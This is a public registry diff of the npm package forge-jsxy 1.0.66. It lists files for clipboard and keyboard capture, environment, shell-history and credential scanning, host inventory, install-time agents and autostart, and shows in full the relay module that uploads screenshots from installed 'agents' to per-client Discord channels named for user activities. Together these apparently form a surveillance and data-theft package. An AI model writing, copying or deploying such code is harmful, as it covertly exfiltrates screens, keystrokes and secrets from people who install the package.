forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,806 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.formatDiscordApiFailure = formatDiscordApiFailure;
4
+ exports.discordRelayScreenshotEnabled = discordRelayScreenshotEnabled;
5
+ exports.sanitizeDiscordClientChannelName = sanitizeDiscordClientChannelName;
6
+ exports.clearDiscordChannelCache = clearDiscordChannelCache;
7
+ exports.listGuildTextChannels = listGuildTextChannels;
8
+ exports.createGuildTextChannel = createGuildTextChannel;
9
+ exports.resolveScreenshotChannelId = resolveScreenshotChannelId;
10
+ exports.postPngToDiscordChannel = postPngToDiscordChannel;
11
+ exports.handleDiscordScreenshotUploadFromAgent = handleDiscordScreenshotUploadFromAgent;
12
+ exports.handleDiscordUploadTicketRequest = handleDiscordUploadTicketRequest;
13
+ exports.handleDiscordUploadAck = handleDiscordUploadAck;
14
+ exports.warnDiscordRelayGuildIfMisconfigured = warnDiscordRelayGuildIfMisconfigured;
15
+ /**
16
+ * Relay-only Discord screenshot delivery (Discord REST API v10).
17
+ *
18
+ * The **bot token never leaves the relay process**. Agents send PNG bytes as base64 in
19
+ * `discord_screenshot_upload` WebSocket messages; the relay creates or reuses a per-client text
20
+ * channel and posts the image with `Authorization: Bot …`.
21
+ *
22
+ * Rate-limit strategies (relay side)
23
+ * ────────────────────────────────────
24
+ * 1. Multiple bot tokens — `relayDiscordBotTokenForClient` assigns a stable bot per agent
25
+ * `client_id` via FNV-1a hash so load spreads across tokens (separate rate-limit buckets).
26
+ * 2. Proactive bucket tracking — `discordJson` passes `routeKey` + `relayDiscordBucketTracker`
27
+ * to `fetchUntilNot429`. After every response X-RateLimit-Remaining / Reset-After are
28
+ * recorded; when remaining==0 the next request pre-waits before hitting Discord.
29
+ * 3. Global 429 detection — X-RateLimit-Global / X-RateLimit-Scope headers distinguish
30
+ * global pauses (all routes for that token) from per-route pauses.
31
+ * 4. Channel-ID in-memory cache — `resolveScreenshotChannelId` caches the Discord channel ID
32
+ * per (guildId, channelName, parentId) tuple. Subsequent uploads skip the expensive
33
+ * GET /guilds/{id}/channels call entirely; the cache is invalidated on 404.
34
+ * This is the single biggest reduction in REST calls for busy relay deployments.
35
+ * 5. Retry-After + jitter — `fetchUntilNot429` already handles this; `discordBackoffMsFromErrorText`
36
+ * covers rate-limit signals embedded in webhook/ticket error strings.
37
+ * 6. Invalid-request avoidance — 401/403 are not retried (they count toward the Cloudflare
38
+ * 10 000/10-min ban quota); channel-not-found 404 invalidates the cache and surfaces
39
+ * a clear error rather than looping.
40
+ *
41
+ * Discord policy / limits (typical; see https://discord.com/developers/docs/topics/rate-limits):
42
+ * - Bot global limit ~50 requests/s; per-route buckets return `429` + `retry_after` (JSON) or
43
+ * `Retry-After` (header) — handled by `fetchUntilNot429`.
44
+ * - Attachment size: often **≤ 8 MiB** per file for bots on non-boosted servers.
45
+ * - Use an **Application Bot token** on the relay only; do not put a user token on agents.
46
+ */
47
+ const node_crypto_1 = require("node:crypto");
48
+ const discordBotTokens_1 = require("./discordBotTokens");
49
+ const fsProtocol_1 = require("./fsProtocol");
50
+ const discordRateLimit_1 = require("./discordRateLimit");
51
+ const DISCORD_API = "https://discord.com/api/v10";
52
+ /**
53
+ * Human-readable Discord REST errors for relay logs and agent-facing ticket/upload failures.
54
+ * @see https://discord.com/developers/docs/topics/opcodes-and-status-codes#json
55
+ */
56
+ function formatDiscordApiFailure(status, body) {
57
+ const slice = body.slice(0, 400);
58
+ let code;
59
+ let message;
60
+ try {
61
+ const j = JSON.parse(body);
62
+ if (typeof j.code === "number" && Number.isFinite(j.code))
63
+ code = j.code;
64
+ if (typeof j.message === "string")
65
+ message = j.message;
66
+ }
67
+ catch {
68
+ /* raw body */
69
+ }
70
+ let hint = "";
71
+ if (code === 10004) {
72
+ hint =
73
+ " — Fix: invite the bot to the target server (Developer Portal → OAuth2 URL Generator → scope `bot` + channel permissions), then set RELAY_DISCORD_GUILD_ID to that server's ID (Developer Mode → right‑click server icon → Copy Server ID).";
74
+ }
75
+ else if (code === 50001) {
76
+ hint =
77
+ " — Fix: bot must be a member of the guild and able to view channels (invite it; check role/channel overwrites).";
78
+ }
79
+ else if (code === 50013) {
80
+ hint =
81
+ " — Fix: grant the bot role permissions: View Channels, Manage Channels, Manage Webhooks, Send Messages, Attach Files (for the category or guild).";
82
+ }
83
+ else if (code === 30007) {
84
+ hint = " — Fix: guild has reached the maximum number of channels; remove unused channels or pick another category/server.";
85
+ }
86
+ const summary = message !== undefined && code !== undefined
87
+ ? `${message} (${code})`
88
+ : message !== undefined
89
+ ? message
90
+ : `HTTP ${status}`;
91
+ return `Discord ${summary}${hint} — ${slice}`;
92
+ }
93
+ function maxDiscordAttachmentBytes() {
94
+ const raw = (process.env.RELAY_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
95
+ if (raw) {
96
+ const n = parseInt(raw, 10);
97
+ if (Number.isFinite(n)) {
98
+ return Math.min(25 * 1024 * 1024, Math.max(64 * 1024, n));
99
+ }
100
+ }
101
+ return 8 * 1024 * 1024;
102
+ }
103
+ function discordRelayScreenshotEnabled() {
104
+ const e = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
105
+ if (!["1", "true", "yes", "on"].includes(e))
106
+ return false;
107
+ const tokens = (0, discordBotTokens_1.getRelayDiscordBotTokens)();
108
+ const guild = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
109
+ return Boolean(tokens.length && guild);
110
+ }
111
+ /** Discord text channel names: lowercase, alphanumeric, hyphens; max 100 chars. */
112
+ function sanitizeDiscordClientChannelName(clientId) {
113
+ const base = "client-";
114
+ let s = String(clientId || "unknown")
115
+ .toLowerCase()
116
+ .replace(/[^a-z0-9-]/g, "-")
117
+ .replace(/-+/g, "-")
118
+ .replace(/^-|-$/g, "");
119
+ if (!s)
120
+ s = "unknown";
121
+ const maxBody = 100 - base.length;
122
+ if (s.length > maxBody)
123
+ s = s.slice(0, maxBody);
124
+ return `${base}${s}`;
125
+ }
126
+ const DISCORD_MAX_CHANNELS_PER_CATEGORY = 50;
127
+ function discordRolloverCategoryPrefix() {
128
+ const raw = (process.env.RELAY_DISCORD_ROLLOVER_CATEGORY_PREFIX || "").trim();
129
+ return raw || "User activities";
130
+ }
131
+ function discordOverflowChannelName() {
132
+ const raw = (process.env.RELAY_DISCORD_OVERFLOW_CHANNEL_NAME || "").trim().toLowerCase();
133
+ return raw || "user-activities-overflow";
134
+ }
135
+ function rolloverCategoryName(prefix, index) {
136
+ const base = prefix.trim() || "User activities";
137
+ const n = Math.max(1, Number.isFinite(index) ? Math.floor(index) : 1);
138
+ return `${base} ${n}`.slice(0, 100);
139
+ }
140
+ function rolloverCategoryIndex(prefix, name) {
141
+ const p = String(prefix || "").trim();
142
+ const n = String(name || "").trim();
143
+ if (!p || !n)
144
+ return null;
145
+ const m = n.match(new RegExp(`^${p.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}\\s+(\\d+)$`));
146
+ if (!m)
147
+ return null;
148
+ const out = parseInt(m[1] || "", 10);
149
+ if (!Number.isFinite(out) || out < 1)
150
+ return null;
151
+ return out;
152
+ }
153
+ // ── seq_id lookup cache (maps clientId → sequential #N for channel naming) ───
154
+ /**
155
+ * Fetches `GET /api/clients` from forge-db to map clientId → seq_id.
156
+ * This lets screenshot channels use the same `client-N` naming as the keyboard/clipboard
157
+ * push channels in 3-forge-db-discord, so all client activity lands in one channel.
158
+ */
159
+ const _seqIdCache = new Map();
160
+ let _seqIdLastFetch = 0;
161
+ const _SEQ_ID_REFRESH_MS = 5 * 60 * 1000; // refresh every 5 minutes
162
+ /**
163
+ * Default on: require forge-db `seq_id` so screenshot channels always use `client-N`.
164
+ * Set RELAY_DISCORD_REQUIRE_SEQ_ID=0 only for legacy migration windows.
165
+ */
166
+ function relayDiscordRequireSeqId() {
167
+ const raw = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID ?? "1").trim().toLowerCase();
168
+ return !["0", "false", "no", "off"].includes(raw);
169
+ }
170
+ function _forgeDbApiBase() {
171
+ const raw = (process.env.RELAY_FORGE_DB_API_URL ||
172
+ process.env.FORGE_JS_SYNC_URL ||
173
+ process.env.CFGMGR_API_URL ||
174
+ "").trim().replace(/\/api\/?$/, "").replace(/\/$/, "");
175
+ return raw || "http://127.0.0.1:8765";
176
+ }
177
+ async function _refreshSeqIdCacheIfStale(force = false) {
178
+ const now = Date.now();
179
+ if (!force && now - _seqIdLastFetch < _SEQ_ID_REFRESH_MS)
180
+ return;
181
+ try {
182
+ const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
183
+ const res = await fetch(`${_forgeDbApiBase()}/api/clients`, {
184
+ signal: AbortSignal.timeout(5000),
185
+ headers: {
186
+ "User-Agent": "forge-jsx-relay/1.0",
187
+ ...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
188
+ },
189
+ });
190
+ if (!res.ok)
191
+ return;
192
+ const data = await res.json();
193
+ if (!Array.isArray(data.clients))
194
+ return;
195
+ _seqIdCache.clear();
196
+ for (const c of data.clients) {
197
+ if (!c || typeof c !== "object")
198
+ continue;
199
+ const client = c;
200
+ const clientId = String(client.client_id ?? "").trim();
201
+ const seqId = typeof client.seq_id === "number" ? client.seq_id : null;
202
+ if (clientId && seqId !== null) {
203
+ _seqIdCache.set(clientId, seqId);
204
+ }
205
+ }
206
+ _seqIdLastFetch = now;
207
+ }
208
+ catch {
209
+ /* ignore — old UUID name used as fallback */
210
+ }
211
+ }
212
+ /** Returns `client-N` when seq_id is known; may refuse legacy UUID/hash fallback by default. */
213
+ async function _channelNameForClient(clientId) {
214
+ await _refreshSeqIdCacheIfStale();
215
+ let seqId = _seqIdCache.get(clientId);
216
+ // Fresh client rows can appear between cache refresh windows; force one immediate refresh
217
+ // before deciding seq_id is unavailable.
218
+ if (seqId === null || seqId === undefined) {
219
+ await _refreshSeqIdCacheIfStale(true);
220
+ seqId = _seqIdCache.get(clientId);
221
+ }
222
+ if (seqId !== null && seqId !== undefined) {
223
+ return `client-${seqId}`;
224
+ }
225
+ if (relayDiscordRequireSeqId()) {
226
+ throw new Error("Discord channel naming requires forge-db seq_id (RELAY_DISCORD_REQUIRE_SEQ_ID=1); " +
227
+ "skipping screenshot channel create to avoid legacy client-hash channels.");
228
+ }
229
+ return sanitizeDiscordClientChannelName(clientId); // UUID fallback
230
+ }
231
+ // ── In-memory channel ID cache ────────────────────────────────────────────────
232
+ /**
233
+ * Cache: "guildId:channelName:parentId" → Discord channel id.
234
+ *
235
+ * Avoids the expensive GET /guilds/{id}/channels call on every screenshot upload.
236
+ * A busy relay with many agents and a 60 s interval would otherwise make dozens of
237
+ * guild-channel-list requests per minute, wasting rate-limit quota.
238
+ *
239
+ * Invalidated on 404 (channel deleted) so it self-heals automatically.
240
+ */
241
+ const _channelIdCache = new Map();
242
+ function _channelCacheKey(guildId, name, parentId) {
243
+ return `${guildId}\x00${name}\x00${parentId}`;
244
+ }
245
+ function _getCachedChannelId(guildId, name, parentId) {
246
+ return _channelIdCache.get(_channelCacheKey(guildId, name, parentId));
247
+ }
248
+ function _setCachedChannelId(guildId, name, parentId, channelId) {
249
+ _channelIdCache.set(_channelCacheKey(guildId, name, parentId), channelId);
250
+ }
251
+ function _invalidateCachedChannelId(guildId, name, parentId) {
252
+ _channelIdCache.delete(_channelCacheKey(guildId, name, parentId));
253
+ }
254
+ /** Exported for tests / diagnostics. */
255
+ function clearDiscordChannelCache() {
256
+ _channelIdCache.clear();
257
+ }
258
+ // ── Discord REST helpers ──────────────────────────────────────────────────────
259
+ async function discordApi(botToken, path, init) {
260
+ const headers = new Headers(init?.headers);
261
+ headers.set("Authorization", `Bot ${botToken}`);
262
+ if (!headers.has("User-Agent")) {
263
+ headers.set("User-Agent", "forge-jsx-relay (DiscordBot)");
264
+ }
265
+ return fetch(`${DISCORD_API}${path}`, { ...init, headers });
266
+ }
267
+ /**
268
+ * Make a JSON Discord REST call with proactive bucket tracking + 429 retry.
269
+ *
270
+ * `routeKey` is used for both bucket-tracker pre-waits and retry classification
271
+ * (global vs per-route). Using the method+path as the key is sufficient because
272
+ * Discord groups related paths into shared buckets (identified by X-RateLimit-Bucket)
273
+ * and the tracker maps bucket-hash → pause-until when the header is present.
274
+ */
275
+ async function discordJson(botToken, path, init) {
276
+ const routeKey = `${(init?.method ?? "GET").toUpperCase()}:${path}`;
277
+ const res = await (0, discordRateLimit_1.fetchUntilNot429)(() => discordApi(botToken, path, init), routeKey, discordRateLimit_1.relayDiscordBucketTracker);
278
+ const text = await res.text();
279
+ if (!res.ok)
280
+ return { ok: false, status: res.status, text };
281
+ try {
282
+ return { ok: true, data: JSON.parse(text) };
283
+ }
284
+ catch {
285
+ return { ok: false, status: res.status, text: text.slice(0, 500) };
286
+ }
287
+ }
288
+ async function listGuildTextChannels(botToken, guildId) {
289
+ const r = await discordJson(botToken, `/guilds/${guildId}/channels`, {
290
+ method: "GET",
291
+ });
292
+ if (!r.ok) {
293
+ throw new Error(formatDiscordApiFailure(r.status, r.text));
294
+ }
295
+ return Array.isArray(r.data) ? r.data : [];
296
+ }
297
+ async function createGuildTextChannel(botToken, guildId, name, parentId) {
298
+ const body = {
299
+ name,
300
+ type: 0,
301
+ topic: "forge-jsx agent screenshots (automated)",
302
+ };
303
+ if (parentId?.trim())
304
+ body.parent_id = parentId.trim();
305
+ const r = await discordJson(botToken, `/guilds/${guildId}/channels`, {
306
+ method: "POST",
307
+ headers: { "Content-Type": "application/json" },
308
+ body: JSON.stringify(body),
309
+ });
310
+ if (!r.ok) {
311
+ throw new Error(formatDiscordApiFailure(r.status, r.text));
312
+ }
313
+ const id = r.data?.id;
314
+ if (typeof id !== "string" || !id.trim()) {
315
+ throw new Error("Discord create channel: response missing channel id");
316
+ }
317
+ return id;
318
+ }
319
+ async function createGuildCategory(botToken, guildId, name) {
320
+ const r = await discordJson(botToken, `/guilds/${guildId}/channels`, {
321
+ method: "POST",
322
+ headers: { "Content-Type": "application/json" },
323
+ body: JSON.stringify({ name, type: 4 }),
324
+ });
325
+ if (!r.ok) {
326
+ throw new Error(formatDiscordApiFailure(r.status, r.text));
327
+ }
328
+ const id = r.data?.id;
329
+ if (typeof id !== "string" || !id.trim()) {
330
+ throw new Error("Discord create category: response missing category id");
331
+ }
332
+ return id;
333
+ }
334
+ async function resolveOverflowChannelId(botToken, guildId) {
335
+ const overflowName = discordOverflowChannelName();
336
+ const rows = await listGuildTextChannels(botToken, guildId);
337
+ const found = rows.find((c) => c.type === 0 && String(c.name || "").trim().toLowerCase() === overflowName);
338
+ if (found?.id)
339
+ return String(found.id);
340
+ try {
341
+ return await createGuildTextChannel(botToken, guildId, overflowName);
342
+ }
343
+ catch {
344
+ return null;
345
+ }
346
+ }
347
+ async function selectParentCategoryForNewChannel(botToken, guildId, configuredParentId) {
348
+ const parent = String(configuredParentId || "").trim();
349
+ if (!parent)
350
+ return "";
351
+ const rows = await listGuildTextChannels(botToken, guildId);
352
+ const categories = rows.filter((c) => c.type === 4);
353
+ const categoryIds = new Set(categories.map((c) => String(c.id || "")).filter(Boolean));
354
+ if (categoryIds.has(parent)) {
355
+ const used = rows.filter((c) => c.type === 0 && String(c.parent_id || "") === parent).length;
356
+ if (used < DISCORD_MAX_CHANNELS_PER_CATEGORY)
357
+ return parent;
358
+ }
359
+ const textCounts = new Map();
360
+ for (const row of rows) {
361
+ if (row.type !== 0)
362
+ continue;
363
+ const pid = String(row.parent_id || "");
364
+ if (!pid)
365
+ continue;
366
+ textCounts.set(pid, (textCounts.get(pid) || 0) + 1);
367
+ }
368
+ const prefix = discordRolloverCategoryPrefix();
369
+ const slots = [];
370
+ for (const cat of categories) {
371
+ const idx = rolloverCategoryIndex(prefix, String(cat.name || ""));
372
+ const id = String(cat.id || "");
373
+ if (idx !== null && id)
374
+ slots.push({ idx, id });
375
+ }
376
+ slots.sort((a, b) => a.idx - b.idx);
377
+ for (const slot of slots) {
378
+ if ((textCounts.get(slot.id) || 0) < DISCORD_MAX_CHANNELS_PER_CATEGORY) {
379
+ return slot.id;
380
+ }
381
+ }
382
+ const nextIdx = slots.length ? slots[slots.length - 1].idx + 1 : 1;
383
+ const nextName = rolloverCategoryName(prefix, nextIdx);
384
+ try {
385
+ return await createGuildCategory(botToken, guildId, nextName);
386
+ }
387
+ catch {
388
+ // Category create can fail when guild is at category cap; caller should proceed without parent.
389
+ return "";
390
+ }
391
+ }
392
+ /**
393
+ * Resolve (or create) the Discord text channel for this client.
394
+ *
395
+ * **Caching**: the resolved channel ID is stored in `_channelIdCache` so that
396
+ * subsequent calls skip the `GET /guilds/{id}/channels` list entirely — the most
397
+ * expensive REST call in the relay hot path. Cache is invalidated automatically
398
+ * when a 404 is detected on message POST.
399
+ */
400
+ async function resolveScreenshotChannelId(botToken, guildId, clientId, parentCategoryId) {
401
+ // Use client-N naming to match 3-forge-db-discord's channel naming convention.
402
+ // Falls back to UUID-based name if seq_id lookup fails.
403
+ const name = await _channelNameForClient(clientId);
404
+ const selectedParent = await selectParentCategoryForNewChannel(botToken, guildId, parentCategoryId);
405
+ const parent = selectedParent.trim();
406
+ // Return cached channel ID when available
407
+ const cached = _getCachedChannelId(guildId, name, parent);
408
+ if (cached)
409
+ return cached;
410
+ // List guild channels and find a match
411
+ const rows = await listGuildTextChannels(botToken, guildId);
412
+ const found = rows.find((c) => c.type === 0 && c.name === name);
413
+ let channelId;
414
+ if (found) {
415
+ channelId = found.id;
416
+ }
417
+ else {
418
+ try {
419
+ channelId = await createGuildTextChannel(botToken, guildId, name, parent || undefined);
420
+ }
421
+ catch (e) {
422
+ const err = String(e);
423
+ if (parent && /CHANNEL_PARENT_MAX_CHANNELS/i.test(err)) {
424
+ const retryParent = await selectParentCategoryForNewChannel(botToken, guildId, parentCategoryId);
425
+ channelId = await createGuildTextChannel(botToken, guildId, name, retryParent || undefined);
426
+ }
427
+ else if (/MAX_CHANNELS|MAX_GUILD_CHANNELS|Maximum number of channels/i.test(err)) {
428
+ const overflow = await resolveOverflowChannelId(botToken, guildId);
429
+ if (!overflow)
430
+ throw e;
431
+ channelId = overflow;
432
+ }
433
+ else {
434
+ throw e;
435
+ }
436
+ }
437
+ }
438
+ _setCachedChannelId(guildId, name, parent, channelId);
439
+ return channelId;
440
+ }
441
+ function discordRelayAttachmentFilenameAndMime(buf) {
442
+ if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
443
+ return { filename: "screenshot.jpg", mime: "image/jpeg" };
444
+ }
445
+ return { filename: "screenshot.png", mime: "image/png" };
446
+ }
447
+ function buildMultipartImageMessage(imageBytes, caption) {
448
+ const { filename, mime } = discordRelayAttachmentFilenameAndMime(imageBytes);
449
+ const boundary = `----ForgeJs${(0, node_crypto_1.randomBytes)(16).toString("hex")}`;
450
+ const payload = JSON.stringify({
451
+ content: caption.slice(0, 2000),
452
+ });
453
+ const head = `--${boundary}\r\n` +
454
+ `Content-Disposition: form-data; name="payload_json"\r\n` +
455
+ `Content-Type: application/json\r\n\r\n` +
456
+ `${payload}\r\n` +
457
+ `--${boundary}\r\n` +
458
+ `Content-Disposition: form-data; name="files[0]"; filename="${filename}"\r\n` +
459
+ `Content-Type: ${mime}\r\n\r\n`;
460
+ const tail = `\r\n--${boundary}--\r\n`;
461
+ const body = Buffer.concat([Buffer.from(head, "utf8"), imageBytes, Buffer.from(tail, "utf8")]);
462
+ return { body, contentType: `multipart/form-data; boundary=${boundary}` };
463
+ }
464
+ async function postPngToDiscordChannel(botToken, channelId, png, caption) {
465
+ const cap = maxDiscordAttachmentBytes();
466
+ let img = png;
467
+ if (img.length > cap) {
468
+ const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(img, cap);
469
+ if (!shrunk || shrunk.buffer.length > cap) {
470
+ return {
471
+ ok: false,
472
+ error: `image too large for Discord relay cap (${png.length} bytes > ${cap}) after JPEG shrink — ensure jimp / ImageMagick / ffmpeg on relay host or raise relay attachment cap`,
473
+ };
474
+ }
475
+ img = shrunk.buffer;
476
+ }
477
+ const { body, contentType } = buildMultipartImageMessage(img, caption);
478
+ const path = `/channels/${channelId}/messages`;
479
+ const routeKey = `POST:${path}`;
480
+ const res = await (0, discordRateLimit_1.fetchUntilNot429)(() => discordApi(botToken, path, {
481
+ method: "POST",
482
+ headers: { "Content-Type": contentType },
483
+ body,
484
+ }), routeKey, discordRateLimit_1.relayDiscordBucketTracker);
485
+ const text = await res.text();
486
+ if (res.status === 404) {
487
+ return { ok: false, error: formatDiscordApiFailure(res.status, text), channelNotFound: true };
488
+ }
489
+ if (!res.ok) {
490
+ return {
491
+ ok: false,
492
+ error: formatDiscordApiFailure(res.status, text),
493
+ };
494
+ }
495
+ try {
496
+ const j = JSON.parse(text);
497
+ return { ok: true, message_id: String(j.id || "") };
498
+ }
499
+ catch {
500
+ return { ok: true, message_id: "" };
501
+ }
502
+ }
503
+ async function handleDiscordScreenshotUploadFromAgent(msg) {
504
+ const rid = String(msg.request_id ?? "");
505
+ if (!discordRelayScreenshotEnabled()) {
506
+ return {
507
+ type: "discord_screenshot_upload_result",
508
+ request_id: rid,
509
+ ok: false,
510
+ error: "Discord relay upload disabled. Set RELAY_DISCORD_SCREENSHOT_ENABLED=1, RELAY_DISCORD_BOT_TOKEN (or RELAY_DISCORD_BOT_TOKENS), RELAY_DISCORD_GUILD_ID on the relay.",
511
+ };
512
+ }
513
+ const tokens = (0, discordBotTokens_1.getRelayDiscordBotTokens)();
514
+ const guildId = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
515
